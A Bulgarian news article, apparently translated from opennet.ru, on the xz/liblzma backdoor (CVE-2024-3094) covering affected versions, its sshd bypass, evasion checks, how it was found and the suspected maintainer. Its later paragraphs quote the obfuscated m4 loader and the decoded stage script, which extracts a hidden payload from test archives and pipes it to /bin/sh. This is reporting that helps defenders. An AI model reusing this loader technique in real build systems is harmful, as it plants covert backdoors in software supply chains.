В библиотеката xz/liblzma бе открит бекдор, осигуряващ достъп чрез sshd.

В пакета XZ Utils, който включва библиотеката liblzma и утилити за работа с компресирани данни в формат «.xz», е открит бекдор (CVE-2024-3094), който позволява прихващане и модифициране на данни, обработвани от приложения, свързани с библиотеката liblzma. Основната цел на бекдора е сървърът OpenSSH, свързан с библиотеката libsystemd в някои дистрибуции, която от своя страна използва liblzma. Свързването на sshd с уязвимата библиотека позволява на злонамерени лица да получат достъп до SSH-сървъра без удостоверяване.

Бекдорът е присъствал в официалните версии 5.6.0 и 5.6.1, публикувани на 24 февруари и 9 март, които са попаднали в някои дистрибуции и репозитории, като например Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Препоръчва се на всички потребители на версиите xz 5.6.0 и 5.6.1 спешно да се върнат на версия 5.4.6.

Изглаждащият фактор е, че версията liblzma с бекдора не е успяла да влезе в състава на стабилните версии на големи дистрибуции, но е засегнала openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo са използвали уязвимата версия zx, но не са подложени на атака, тъй като не прилагат патча за openssh, за подкрепа на systemd-notify, който води до свързването на sshd с liblzma. Бекдорът засяга само x86_64 системи на базата на Linux ядрото и Glibc C-библиотеката.

Кодът за активиране на бекдора е скрит в m4-макроси от файла build-to-host.m4, който се използва от инструмента automake при компилация. По време на изграждане, в хода на сложни обфускиращи операции на базата на архиви (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), използвани за тест на коректното функциониране, е бил генериран обектен файл с злонамерен код, който е бил интегриран в библиотеката liblzma и е променил логиката на работа на някои от нейните функции. Активиращите бекдора m4-макроси са били включени в tar-архивите на релизите, но са отсъствали от Git-репозитория. Вредоносните тестови архиви обаче са били налични в репозитория, т.е. внедрилото бекдора е имало достъп както до репозитория, така и до процесите на създаване на релизите.

При използване на liblzma в приложения, злонамерени промени могат да бъдат използвани за прихващане или модификация на данни, а също и за влияние върху работата на sshd. В частност, злонамерен код е заменял функцията RSA_public_decrypt, за да избегне процеса на аутентикация в sshd. Бекдорът включва защита от откриване и не проявява признаци при зададени променливи на средата LANG и TERM (т.е. при стартиране на процеса в терминал) и незадействани променливи на средата LD_DEBUG и LD_PROFILE, активирайки се само при изпълнение на изпълним файл \/usr\/sbin\/sshd. В бекдора също имаше средства за откриване на стартиране в отладъчни среди.

В частност, в файла m4\/build-to-host.m4 се използваха конструкции gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir\/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

В първата конструкция операцията grep намира файла tests\/files\/bad-3-corrupt_lzma2.xz, при разопаковането на който се формирует сценарий: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|\/bin\/sh ####World####

Как поразителите успяха да получат достъп до инфраструктурата на проекта xz все още не е напълно изяснено. Също така не е ясно колко много потребители и проекти са били компрометирани в резултат на действията на бекдора. Предполагаемият автор на бекдора (JiaT75 — Jia Tan), който публикува архиви с вредоносен код в хранилището, е комуникирал с разработчиците на Fedora и е изпращал pull заявки в Debian, свързани с прехода на дистрибуциите към версия xz 5.6.0, и не е предизвикал подозрения, тъй като е участвал в разработката на xz през последните две години и е вторият разработчик по брой на направените промени. Освен в проекта xz, предполагаемият автор на бекдора е участвал и в разработката на пакетите xz-java и xz-embedded. Освен това, преди няколко дни Jia Tan бе включен в списъка на мейнтейнерите на проекта XZ Embedded, който се използва в ядрото на Linux.

Вредоносна промяна беше открита след анализ на прекомерната консумация на CPU и грешките, генерирани от valgrind, при свързване чрез ssh към системи, базирани на Debian sid. Интересно е, че в релиза xz 5.6.1 бяха включени промени, подготвени от предполагаемия автор на бекдора в отговор на оплакванията за забавяне на работата и сривове на sshd, възникнали след обновяването до версия zx 5.6.0 с бекдор. Освен това, миналата година Jia Tan направи промени, некоректни за режима на проверка „-fsanitize=address“, което доведе до неговото изключване при fuzzing тестване.

Източник: opennet.ru